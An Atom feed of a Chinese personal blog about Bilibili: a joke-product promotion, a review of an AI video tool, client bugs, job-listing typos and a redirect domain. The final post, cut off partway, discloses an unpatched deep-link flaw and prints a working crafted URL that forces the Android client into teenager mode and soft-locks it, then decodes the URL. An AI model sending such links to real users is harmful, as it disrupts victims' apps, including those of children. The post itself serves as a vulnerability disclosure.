    <title>关于我在学校写的抽象代码这回事</title>
    <updated>2026-03-10T13:45:17.379Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="杂谈" scheme="https://www.b23.kim/categories/%E6%9D%82%E8%B0%88/"/>
    <content>
      <![CDATA[<p>几年前，我在B站搞了个很“神金”的东西，叫做“一袋垃圾”。<br>没错，你别不相信，真就是一袋垃圾。它的产品名称就是它这个东西本身(哈哈)<br>你要是问这玩意是咋来的，请看VCR：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=1955918357&bvid=BV1ty411q7jE&cid=1595867055&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>看到这么一个好玩的东西，我作为一个<del>不知道有多抽象的</del>创作者自然要“炒作”一下了。<br>于是于是于是，就有了我这么个垃圾视频：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=1905880859&bvid=BV1GS411A7Xg&cid=1598201577&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>（做这个视频的时候我都快笑死了，太难绷了）<br>甚至走的还是什么带货视频，因为我就可以跟其他创作者一样确确实实地造垃圾了。</p><p>觅2一直是一个我很喜欢的UP主，巴拉巴拉。然后他喜欢搞一些让人意想不到的东西(在他口中是“横向发展”)。我呢，又是一个很抽象的人，所以当时趁热搞了这玩意来帮忙推广这个网红爆款商品。<br>我这边的数据是获得了38左右的佣金(<del>和乐子</del>)，粗略估算下(38/1.75)大概卖出去22袋的样子。这个数据甚至都已经超过了我其他所有的投稿获得的创作激励了，很不错。</p><p>关键是这玩意还有附加价值，比如说一部分观众看了我这个抽象搞笑乐子视频以后关注我的大概有十多个人的样子(没细数)，同时带动了我其他视频投稿播放量的提升。<br>而且做推广的还不止我一个人，甚至就连觅2自己的视频都有148万的好成绩。照这个标准来看的话这一袋垃圾确实算得上“网红爆款”。</p><p>后面这个奇葩商品上了淘宝的啥榜单来着忘了，desc是“年轻人有年轻人自己的一袋垃圾”。甚至官方认证，可惜经过那么长时间了我截图没留下，链接也没留下。<del>这简直是乐子史上的文物遗失</del><br>但是但是，这个垃圾商品是真能发挥出它的利用价值的。<br>觅2是做<del>抽象搞笑</del>动画的，他有一个淘宝店，很少公开提及(怕观众跑完了)。他卖一些自营的周边(微笑小蜜蜂.jpg)，于是就会产生一些碎布料之类的边角料。<br>观众下单以后，收到货上面会有一个摸鱼小贴纸，然后搭配这个布料做小手工来让它继续发光发热（助力环保公益事业了属于是）。<br><strong>所以这玩意本质上还是合规的正常商品</strong>，觅2真是个天才。</p><p>那么购买的人呢？他们大部分也都是来看乐子买的，毕竟三块钱还包邮确实无所谓了。<br>这个东西本身就带有一些恶趣味在里面，所以它“好玩，有意思，带给我们足够乐子”，就这么简单。于是买它的人就会给好友搞恶作剧买，然后好友的好友也觉得有意思就买。就这样凭借它天然的优势滚成流量雪球，早期觅2自己都还没出视频的时候别人就先被吸引了，这就是自然流量的来源。</p><p>其实你仔细观察就会发现，我这个垃圾视频是粗制滥造出来的。背后也就是一个必剪里的预设素材和配音，还有别人那分享出来的不知道源头在哪的截图。必剪里我在那搞抽象，素材它们一起抽象。最终缝合出来的烂烂的感觉。<br>那么为什么还会有人看这个，甚至都没人问“啊你这就是个烂作，我看了个什么”。<br>这些因素取决于<strong>这个商品本身就是个很好的作品</strong>，所有带货视频也好烂作视频也罢都是在给它铺垫的边角。视频本身的质量？谁在意啊，重点根本就不在这上面了。也就是说这个真·垃圾商品本身把视频给边缘化了，观众看到的不是视频，而是……一个闭环。</p><p>我这样说，难道好视频真的不重要了吗？视频本身的好坏是一个很主观的话题，有人觉得好的视频另一个人或许就觉得差劲没意思。如果说一个视频在看过一遍的时候让来看的大多数人感觉到没意思，或者是你选的话题和封面本身就很无聊以至于没啥人看，那它就不是一个成功的视频（甚至“成功”的定义本身都很模糊）。所以有什么办法吗，这个命题本身就是一个困扰了无数个人的东西，也包括我自己。<br>想要把视频做好不容易，因为有时候一些想法的工作量确实很高。同时一个好的想法很重要，同时你还需要跟平台奇奇怪怪的推流机制斗智斗勇。_当UP主很容易，但是当UP主很难_。对我来说，这个垃圾视频对于我的进步真就是纯从0.01到0.02的样子。在我的标准下，从播放量上来看相比于我之前的视频算是成功的了，毕竟有上万播放量。另外当UP主还有一个特别的能力就是要敢于尝试，可惜我不想再在这上面浪费时间了。</p><p>如果你想试一下的话，觅2有个小号专门分享他的创作历程和经验分享，可以去看一下：<a href="https://space.bilibili.com/1483601938">https://space.bilibili.com/1483601938</a> （可以跟他的甲方吹牛逼的专用号）<br>我是没有这个能力去盘这个了，天赋太重要了。并非所有人都适合在这个赛道上发展，大环境是这样，都很卷。<br>你可能觉得我这是在劝退，甚至觉得“我就不应该当UP主”。但是现实是很残酷的（悲），我不想太理想化。如果做UP主不图别的，纯为了自己开心，就像“哎我就是纯发着玩的，没指望有人看”的态度，那发发可以。如果是想要指望它吃饭，那就需要好好想想了。祝你能找到属于自己的创作方向，机会总是留给有准备的人。</p><p>关于这个一袋垃圾，觅2自己也有他那边的复盘视频来讲这大概发生了什么的全过程</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=1606434054&bvid=BV1J2421Z7pN&cid=1651906633&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>就这样，结束。</p>]]>
    </content>
    <id>https://www.b23.kim/details/c13f9e6066ec.html</id>
    <link href="https://www.b23.kim/details/c13f9e6066ec.html"/>
    <published>2026-02-24T05:31:55.000Z</published>
    <summary>
      <![CDATA[<p>几年前，我在B站搞了个很“神金”的东西，叫做“一袋垃圾”。<br>没错，你别不相信，真就是一袋垃圾。它的产品名称就是它这个东西本身(哈哈)<br>你要是问这玩意是咋来的，请看VCR：</p>
<div align=center class="aspect-ratio">
<]]>
    </summary>
    <title>复盘！我在B站跟觅2卖的一袋垃圾（其实是社会工程学实验哈哈哈）</title>
    <updated>2026-02-24T06:52:00.647Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>最近看到B站很多UP主打广告，说B站出了个新东西，名字叫“花生”。如今它公测了，正好试试玩玩。<br>官网：<a href="https://huasheng.bilibili.com/">https://huasheng.bilibili.com/</a><br>我将以中立的角度去评测各方面优缺点，B站没给广告费，请放心食用。</p><p>官方宣传片：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=115602266000356&bvid=BV14NUVBTEjU&cid=34219624936&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>首先来说一下这个东西的实质是什么，本质上就是一个AI根据你的文案<strong>从B站庞大的内容数据库内检索对应文案比较契合的片段</strong>并生成对应的节点。也就说它并 <strong>不是</strong> AIGC视频(类似sora)，本质是个高级点的搜索引擎。<br>B站官方给它的定义是让它能方便广大UP主的创作，同时可以联动必剪进行个性化创作。</p><p>那么它好用吗？<br>可以看到B站给我们提供了两个示例项目，对应两种画面形式：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x3/01/x301w003zxw1x1w3zzw2x0032wyw0013.png" alt="两个示例项目"><br>这两个示例项目对应的文案是这个</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">「花生」可以做高大上的科普视频。比如，种花生要注意什么？花生是喜温作物，适宜生长在温暖湿润、排水性好的沙质壤土中，土壤酸碱度以中性为宜。它对光照和温度要求较高，生长期需要充足光照，日均气温保持在20℃以上更利于生长发育。全球核心种植区集中在北半球温带及亚热带地区，我国山东、河南、河北是主要产区，产量占全国多数，所产花生颗粒饱满、含油率高。此外，美国东南部、印度、阿根廷等国也广泛栽培。「花生」也可以讲历史。比如，花生的原产地在什么地方？花生原产于南美洲，16世纪明代中晚期经海路传入中国，福建、广东为最早引种地。小花生因耐贫瘠、适应性强，先在东南沿海扎根，清代向北推广至山东、河南等产区。明代已有煮食、炒制吃法，清代吃法更丰富，19世纪中后期大花生成为主流，花生油走入寻常百姓家，四百年间从闲食变为餐桌必备食材。「花生」还能聊聊商业财经上的财富密码。比如，中国作为全球花生产量、消费、进口三料冠军，2024年产量近1900万吨，占全球38%，年产值稳稳站上千亿级别。全球贸易中，中国既是73.4万吨的出口大户，也是151万吨的进口主力，从原料到深加工产品形成完整产业链。消费升级下，高端食用油、健康零食持续扩容，这颗小花生正撬动大市场。「花生」是一个输入文案或口播帮你自动找素材、剪辑成片的工具。不管你是喜欢用键盘噼里啪啦敲出灵感的文字大佬，还是更爱用语音滔滔不绝表达的话痨选手，都能在花生这儿找到最丝滑的创作体验。「花生」还有超多隐藏玩法等着各位解锁！赶紧去探索吧~</span><br></pre></td></tr></table></figure><p>项目工作台截图：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/03/2x/032x1310w12x10w3zx2zw03y2z01022z.png" alt="“智能匹配素材”编辑区域"><br>效果视频：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116107360933428&bvid=BV1gvfEBEEnL&cid=36192322433&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>另外第二个示例是音频模板：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/01/x2/01x2w32w3x2xw110x3w12zx12zzyyx02.png" alt="“音频模板”编辑区域"><br>效果视频：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116107377710879&bvid=BV13YfEBSETv&cid=36192388399&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>可以看到效果还不错吧，就这样行云流水的一个视频就出来了，观感竟然还不错的样子。<br>但是这真的这么简单吗？</p><h1 id="使用体验"><a href="#使用体验" class="headerlink" title="使用体验"></a>使用体验</h1><p>我们都知道，它是“搜索引擎”，自然有它覆盖不到的地方，或者是在自己的想要的标准下并没有那么的准确。毕竟它也是基于概率学的产物，抽到啥素材全随缘。同时也根据自己写的提示词有关（“文案成片”本质上就是你要这个AI要执行搜索什么的任务提示词）<br>如果我们这样写文案呢：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">我在《我的世界》中撸树，然后做了一个工作台放在地上。我在工作台中合成出了一个木镐，在旁边的山上挖了几块石头。我合成出了一个石镐，又挖了更多石头。我用背包里的石头做了一个“bilibili”字样的建筑，站在前面截了张图。</span><br></pre></td></tr></table></figure><p>那么它出来的效果就会变成这一坨：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116106941502937&bvid=BV1KkfEBCEib&cid=36190487060&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>可以看到全都乱套了，视频内容没有逻辑可言。<br>这个提示词的所有操作都在某种程度上具备“唯一性”，这是一个需要人去执行的一个特定操作。要指望B站素材库里有这些对应的操作的片段，概率上微乎其微。所以这个AI就会基于概率选了个差不多的大概内容片段。（至少是《我的世界》没跑题哈哈）<br>毕竟它不是生成视频，而是查找视频，自然没法特别精准。</p><p>还有一点：这个软件是个付费软件！<br>收费标准嘛，目前大概是这样：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/13/11/13113z3zx33yx002yzzwzzw2w32w3y10.png" alt="付费计划"><br>这玩意有个最大的问题就是没有免费计划，可谓是白嫖党们的末日了。<br>比较“良心”的一点是它提供了免费试用，就两kou次men（苦笑）。反正你能玩两下，就这么简单。<br>这玩意的实质你应该也清楚了，是否付费继续用就仁者见仁智者见智了。</p><p>目前它还有另一个特色功能：音频成片。<br>“音频成片”是独立于“文案成片”的另一种类型<br>这玩意付了费还有个高级功能，能克隆自己音频作为独立的口播角色，而不是使用系统预设里面那些。<br>（其实就是提取音频里的文本然后根据音频里的文本在那两种画面形式里成片）</p><h1 id="总结与展望"><a href="#总结与展望" class="headerlink" title="总结与展望"></a>总结与展望</h1><p><del>感觉自己评测了个寂寞</del><br>目前花生在2025年12月份才开放使用，初版自然还有很多细节需要打磨。最大的问题就是部分文案出来的画面内容素材不是很准确(涉及特定流程的操作)，如果未来能实现直接生成视频作为素材就爽了，这样就方便了我这种文字创作者不好搞视频素材的问题了。<br>总的来说，还行。已经有点那种感觉了，适合那种不涉及操作的稍微泛一点的文案效果最佳。比如说“2026年的机器人……”这样的好对应也准确。这个软件未来很有发展潜力，如果能实现我博客内容一键成片做成视频形式就完美了，可惜限制一万字以内。稍微长点的内容就不止那么多了吧。</p>]]>
    </content>
    <id>https://www.b23.kim/details/2f2fe1e419cd.html</id>
    <link href="https://www.b23.kim/details/2f2fe1e419cd.html"/>
    <published>2026-02-21T05:37:01.000Z</published>
    <summary>
      <![CDATA[<p>最近看到B站很多UP主打广告，说B站出了个新东西，名字叫“花生”。如今它公测了，正好试试玩玩。<br>官网：<a href="https://huasheng.bilibili.com/">https://huasheng.bilibili.com/</a><br>我将以中]]>
    </summary>
    <title>花生AI：B站新产品初体验</title>
    <updated>2026-02-21T07:16:01.473Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>我搁那看视频呢，然后UP主念结束语的时候看到下面推荐里面有 好 康 的，于是我就点进去看。<br>很简单对吧，但是这时候诞生了一个巧合。恰好在这个我点击的时间区间内，也就是这个视频播放完然后客户端的代码行为准备去切下一个视频的时候恰好被打断去我点击的另一个视频，然后引发播放器状态丢失问题。<br>客户端版本8.83.0(release-b23203277)，也就是当前市场包最新版本。<br>管你听没听懂，看就完了：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116101824388923&bvid=BV1RufgBAEJp&cid=36174562469&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div>这里我是出现了bug才录制的，毕竟谁都不知道这样操作刚好无意中测出来一个bug啊。可以看到效果是黑屏但有音频，画面完全看不到，进度条也出不来。我开始回想刚才的操作，大概是这样：<blockquote><p>在合集里面当前视频播放完然后即将切换下一个视频的时候点击推荐里的视频，会让跳过去的视频有音频没画面。甚至进度条都点不出来</p></blockquote><p>那么这就简单了，有复现方法了就要可以去复现了……吗？错啦没那么简单，这玩意很吃操作的。因为需要恰好视频播放完又恰好播放控制相关代码即将切换然后又恰好在这个时候点击让跳转打断这个状态切换，我的天这buff叠满了。（我怎么把运气给浪费在这上面了）<br>向来严谨的我肯定想去尝试一把了，当然我一试，发现了新的问题：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116101790834347&bvid=BV1BkfgB6Esq&cid=36174367409&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div>这次我卡了一次出来了。不过和之前不太一样的是这次能出现进度条了(虽然是0秒空气视频)，而且有中间的缓冲加载。也就是说这不是完全黑屏的一个状态，它有进度，也有加载。说明它在另一个时间区间内没有完全丢失状态。也就是说这个比上面那个完全卡死黑屏却还在播放的情况好卡一点哈哈。这里的细节是跳转后的视频 **直接返回**<hr><p>那么可能有人会问了：啊嘿壳嘿壳，你这设备有root也有Lsposed，怎么确保不是这些影响了环境或者改变了一些行为呢？<br>那么好，我换一台设备给你测试。这台华为手机是没有root权限的，当然也没办法root。完全可信的环境这次总该公平了吧：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116101925050037&bvid=BV1oKfgBNELq&cid=36175023516&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div>我嘞个，这次连7分钟的0秒视频都出来了，看样子时间因素也能影响状态的丢失程度。另外这个我尝试卡了三次才出一次，难度可见一斑。细节是这次跳转后的视频 **暂停** 后按下返回。如果你还是有异议的话你自己去测，只不过太吃操作了而已。方法基本上就这些，估计深挖还会有不同的表现。<p>我测试所使用的两个设备分别是一加的PKX110(有root)和华为的CDY-AN00(没解bl)。关键是上报用的小程序里面设备信息只能填一个，总不能融合一下写个《华加手机》吧。所以最终俩设备我二选一写的（提交系统设计的时候就没考虑到有人会多设备测试吗）。<br>最终目前该问题已提交，啥时候修不一定哈哈</p><p>总结一下，这个bug大概率是由视频切换时的代码竞态条件所引发的状态预期行为不一致问题。<br>最小可复现步骤：<br>1.找一个视频比较多的合集<br>2.合集中间随便找个视频<br>3.把这个视频进度条拖到剩十秒左右结束的时候<br>4.盯着进度条，满了一瞬间感觉要跳下一个的时候点击下面的推荐视频（重点：要快！）<br>5.观察跳转过去的推荐视频的播放行为<br>6.按下返回键回去，观察合集视频的播放行为<br>（细节：你可以在返回之前决定跳转过去的视频是否暂停，有可能回到合集视频后的表现会不一样）</p><p>就这样，一个巧合引发的乌龙就这样梳理完了。问题很简单一般就是代码竞争，两边都跳。如果B站做好边界判断应该就没问题了，或者对这个巧合场景单独做优化和适配。</p>]]>
    </content>
    <id>https://www.b23.kim/details/a0762213532c.html</id>
    <link href="https://www.b23.kim/details/a0762213532c.html"/>
    <published>2026-02-20T07:08:14.000Z</published>
    <summary>
      <![CDATA[<p>我搁那看视频呢，然后UP主念结束语的时候看到下面推荐里面有 好 康 的，于是我就点进去看。<br>很简单对吧，但是这时候诞生了一个巧合。恰好在这个我点击的时间区间内，也就是这个视频播放完然后客户端的代码行为准备去切下一个视频的时候恰好被打断去我点击的另一个视频，然后引发播放]]>
    </summary>
    <title>B站最新最热漏勺，客户端0秒空气视频</title>
    <updated>2026-02-20T08:35:02.387Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>最近我闲的无聊，去哔哩哔哩客户端里的“加入我们”看了一圈，想看看中厂招工都是什么样子的。当然我比较适合技术类的岗位，首当其冲的去看这个了肯定。<br>不看不知道，一看全是漏。<br>目标链接：<a href="https://www.bilibili.com/html/join-list.html">https://www.bilibili.com/html/join-list.html</a><br>让我们开始吧</p><hr><p>我好奇这个地方没人读一遍的吗，有没有问题也没人看出来（或者看出来了却一直没人改）。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zz/2y/zz2y3zzz3z2w2xx1x21112w30003yx11.png" alt="缺字漏字"><br>不是哥们，这也太离谱了吧。<br><strong>进行快速迭</strong>(代) 和 <strong>善于团队合</strong>(作) 你是真的一个字也不多打啊，“不影响理解”被你给玩明白了。</p><p>这可不是我改的哈，你们自己去看也是如此（也不知道啥时候修）<br>一开始我怀疑是我自己设备问题导致显示不全，再者是像之前腾讯那样样式问题倒是看不见存在。（腾讯的版本：<a href="https://www.b23.kim/details/2692ea021e57.html%EF%BC%89">https://www.b23.kim/details/2692ea021e57.html）</a><br>于是我就按下F12看究竟是怎么回事：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/2y/13/2y1313x1zww212w112x3w3w03w02yw03.png" alt="代码层面的真相"><br>没错，这真的就是纯物理层面的缺字，不是样式问题，不是显示问题，也不是设备问题。<br>那可就太有意思了……</p><p>当然，我估计肯定不止这一个地方漏的。<br>既然被我引出了这个头了，那我不得好好扒一扒。看看别的岗位的详情页是不是也缺东西。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x1/yz/x1yzx11210x101w0zw03zx3w00w32yx3.png" alt="谁写的文案"><br>哈哈果然。这里问题依然是最后一个字缺字，内容应该是：<br><strong>合作关</strong>(系) <strong>合理规划的能</strong>(力)</p><p>下面的这个地方，怎么说呢。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x0/yy/x0yyyz1303zwzzyww2w2w1zw03w1yy03.png" alt="这又是谁写的文案"><br>表现不错，但是为什么偏偏这个最后一条漏字的，可惜了。<br>原本应该是：<strong>愿意承担较大工作压力和挑</strong>(战)</p><p>接下来这个，虽然不是缺字，但是也很能看出来TA的心理了。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/2w/w2/2ww23x2x02zx2w2z3xw0x3yy012xyx10.png" alt="“下一个我要写啥来着？”"><br>仔细看我框起来的那个位置，最后一个顿号是个细节。按理说到达最后一个名词应该就结束了，那么为什么这里还会有一个顿号呢？<br>那是因为写这个文案的觉得还没结束还有要写的东西，但是又想不起来下一个该写什么了，于是这个末尾顿号就放在这里没再管了。</p><p>那么这个呢？也是非常可惜，只有一个错误。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yx/x3/yxx3w112013x2y3z012z113zx0w111x3.png" alt="那看起来算法很优了"><br>如果这个错误改了那么它也是一个非常完美的详情，太可惜了。<br><strong>竞价算法优</strong>(化)是吧。</p><p>团结就是力量.jpg(哈哈)<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3y/w0/3yw0130300x2zyx0yxw2yxw23wzz112x.png" alt="团结友：团结的友"><br>这里应该都知道它编辑想要表达什么，但是这里缺个字总感觉怪怪的。<br><strong>团结友</strong>(爱)</p><p>OK到了测试开发工程师的环节了。上面我已经从最开始写了“测试开发工程师”作为引子了，不再重复。但这次来看看移动端测试开发工程师的又有多离谱吧。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/2w/3y/2w3y101302w10300w03y100011zzx010.png" alt="可能是同一个人写的"><br>两处错误，见怪不怪了。<br><strong>能够协助研发定位问</strong>(题)  <strong>有开发经验者优先考</strong>(虑)</p><p>如果上面只是小疏漏而导致的漏字，那么下面这个堪称信息丢失的典范。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yx/x2/yxx22yyz01w3yyzzyx2w01w0yyyy10yz.png" alt="老谜语人了"><br>到底具备什么你倒是说啊，光写个“具备”然后就没啦？？？？</p><p>这个也难评，和之前一样。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zw/2x/zw2x03w0yzx23x2z03zzw301yw2w0010.png" alt="“和展”是什么"><br>“推荐和展”我直接绷不住了，哈哈哈。<br>给你纠正下：<strong>负责科技领域相关内容的推荐和展</strong>(示)，还有 <strong>有动漫行业相关经验者优</strong>(先)</p><p>神 秘 点<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zx/2x/zx2xyxyxx1013y12yx021011x012w3x0.png" alt="“我要干啥来着？”"><br>这里看起来应该有第五条，但是呢我们的编辑给它吃了，于是就只剩个标记点了。<br>缺失一整条我也是给你编不出来你要表达什么了，也有可能是原本只有四条但是习惯先标点再写然后一不小心标多了一个也不是没可能。</p><hr><p>OK目前就先发现这么多（B站这些职位的详情我全看了一遍），如果有疏漏欢迎告诉我！<br>总结一下，B站这个漏勺可能都存在好几年了，竟然没人提？（也有可能提了但是没人理或者没排到）当然了，公司里面人员变动那么大，而且都那么长时间了估计原本写这些内容的人早就离职了。<br><del>于是我就会变成B站的质量保障部门里免费打白工的了</del></p>]]>
    </content>
    <id>https://www.b23.kim/details/7aa25878b376.html</id>
    <link href="https://www.b23.kim/details/7aa25878b376.html"/>
    <published>2026-02-17T05:02:49.000Z</published>
    <summary>
      <![CDATA[<p>最近我闲的无聊，去哔哩哔哩客户端里的“加入我们”看了一圈，想看看中厂招工都是什么样子的。当然我比较适合技术类的岗位，首当其冲的去看这个了肯定。<br>不看不知道，一看全是漏。<br>目标链接：<a href="https://www.bilibili.com/html/jo]]>
    </summary>
    <title>B站新漏：工作列表里暗藏的缺字漏字问题</title>
    <updated>2026-02-17T07:46:03.465Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>不知道你有没有这么一个疑问：bilibili里面到底几个l几个i？<br>有时候就连我也分不清这个，只能打这个词的时候默念哔——哩——哔——哩。虽然这一定程度上解决了可能会打错的问题，但是如果有时候打的急的时候因为里面很多重复字母，所以打快了有时候还是会错误打成bilibill或者是bililbili之类的情况。而且最关键的是，太麻烦了。看起来复杂……尤其是在输入域名bilibili.com的时候，打错一个字母都不行，重打浪费时间<del>(然后你就会忘记打开B站要做什么)</del></p><p>那么有没有什么方法解决这个输入痛点呢？<br>有的兄弟，有的。</p><p>得益于我的b23.kim天生自带B站特色元素，所以我可以很轻松的开一个二级来专门跳转B站用。<br>所以，<code>b.b23.kim</code>就应运而生了，你可以直接在浏览器内输入这一串来快速到达B站。记忆成本和难度比B站官方的域名低——至少能看出来自己输入的什么。<br>一个B(子域名)，简洁有力。二个B(前缀b23)，辅助记忆。同时搭配上B站的2233娘，于是就有了b.b23。也就是说你甚至只需要记一个kim就行了，也总比一堆l一堆i混在一起要可视的多吧。还不错。</p><p>目前这个域名只是跳转了B站主站，任意目录都是。<br>如果我有时间的话可以加个目录的功能啥的，比如某个目录跳动态，某个跳主页和视频……</p><p>当然了，这是一项公益服务，旨在方便自己和被bilibili域名困扰了许久的人。<br>如果你有任何的功能建议或者看法欢迎告诉我！我们后面的开发见。</p>]]>
    </content>
    <id>https://www.b23.kim/details/c642d4791f62.html</id>
    <link href="https://www.b23.kim/details/c642d4791f62.html"/>
    <published>2026-02-15T04:48:45.000Z</published>
    <summary>
      <![CDATA[<p>不知道你有没有这么一个疑问：bilibili里面到底几个l几个i？<br>有时候就连我也分不清这个，只能打这个词的时候默念哔——哩——哔——哩。虽然这一定程度上解决了可能会打错的问题，但是如果有时候打的急的时候因为里面很多重复字母，所以打快了有时候还是会错误打成bilibi]]>
    </summary>
    <title>所以我搞了b.b23.kim</title>
    <updated>2026-02-15T05:03:58.196Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="安全技术" scheme="https://www.b23.kim/categories/%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF/"/>
    <content>
      <![CDATA[<p>OK啊，今天给大家带来哔哩哔哩最新最热漏……bug。<br>其实也不算新了，早就有了。大概这个漏洞是我两年前左右挖出来的，只不过是没什么人知道和滥用。大概也就跟朋友互相开玩笑拿这玩意玩过而已。<br>那么我为什么要提起来呢？原因是<strong>都2026年了B站还没修这个bug</strong>。况且之前我在BSRC提了没人理我（悲）<br>客户端版本：8.83.0 (release-b23203277)，也就是我写稿时候的市场包最新版本。</p><p>首先来给大家看一眼最终效果：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3y/x2/3yx22z03x011112y103yzyyw2ww3zz12.png" alt="客户端拒绝服务攻击"><br>首先，它最明显的攻击路径是让你正常用户在正常情况下进入了不该进入的页面，从而导致操作被软锁。最终引发客户端拒绝服务。<br>看背景，它是发生在游戏中心里的。因为它是在游戏中心下面的弹框。</p><p>实际上，看似在游戏中心里，实则是从<strong>外部跳转</strong>过去的。而跳转的位置可以是<code>任意</code>。<br>这让危害进一步提升：如果只是朋友间开玩笑那还好说，问题是这个东西它 能 被 滥 用！也就是说它能够被用于炸任何人，只要对方点了攻击者指定构造的URL。这跟“你的账号已被封禁”又有什么区别呢？<br>但它的影响却又没有那么严重，因为只是影响当前实例的状态。也就是说用户只需要划后台给它硬重启下就能解决这个问题。<br>可是那些喜欢好奇点着玩的小孩子用户呢？他们只知道手机划不了了，如果不求助大人的帮助可能难以独立解决。况且这个窗口的文案容易让小孩自己就开了青少年模式，<del>于是后悔了却发现忘记密码了</del>。</p><p>B站内部写客户端代码的肯定都知道，客户端里面内置了一套自定义协议，名字叫urlScheme。它能让我们以深度链接的方式唤起某一功能或策略，用于指定场景下的能力打通。<br>当然这个拒绝服务攻击的漏洞也不例外，它也是以深度链接的形式存在的。不然不可能通过外部跳转来触发。</p><p>以下是我构造的攻击URL：<br><a href="https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&amp;ckey=CK1474482145968&amp;android_schema=bilibili://game_center/home_wiki?message=%E5%98%BF%E5%A3%B3&nextLink=bilibili%253a%252f%252fteenagers_mode%252fforce_enter%253fbbid%253d94bdf782-a460-4356-8e32-143c047483db%2526enter_type%253d13%2526mode%253dteenager%2526oid%253d2258947&token=b66fa5b0519ecf6da307f28501036c2f&amp;name=bilibili-currency-link.normal.jump">https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&amp;ckey=CK1474482145968&amp;android_schema=bilibili%3a%2f%2fgame_center%2fhome_wiki%3fmessage%3d%e5%98%bf%e5%a3%b3%26nextLink%3dbilibili%253a%252f%252fteenagers_mode%252fforce_enter%253fbbid%253d94bdf782-a460-4356-8e32-143c047483db%2526enter_type%253d13%2526mode%253dteenager%2526oid%253d2258947%26token%3db66fa5b0519ecf6da307f28501036c2f&amp;name=bilibili-currency-link.normal.jump</a><br>录屏复现攻击链路：</p><div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=116063001909110&bvid=BV1hScEzREeX&cid=36036808604&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><p>我们不难发现，这个URL由好几部分组成，每个部分都有不同程度的url编码来嵌套各个部分来作为下一部分的参数。</p><p>让我们拆开每一部分来看：<br>首先进行第一次URL解码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://a.app.qq.com/o/simple.jsp?pkgname=tv.danmaku.bili&amp;ckey=CK1474482145968&amp;android_schema=bilibili://game_center/home_wiki?message=嘿壳&amp;nextLink=bilibili%3a%2f%2fteenagers_mode%2fforce_enter%3fbbid%3d94bdf782-a460-4356-8e32-143c047483db%26enter_type%3d13%26mode%3dteenager%26oid%3d2258947&amp;token=b66fa5b0519ecf6da307f28501036c2f&amp;name=bilibili-currency-link.normal.jump</span><br></pre></td></tr></table></figure><p>这时，我们得以窥见腾讯的主服务跳转URL域名<code>a.app.qq.com</code>路径下的android_schema参数的真相。<br><strong>bilibili://game_center/home_wiki?message=嘿壳&amp;nextLink=</strong><br>它首先跳转到了游戏中心，然后由游戏中心代为跳转nextLink。这也就是为什么你能看到弹窗的背景的游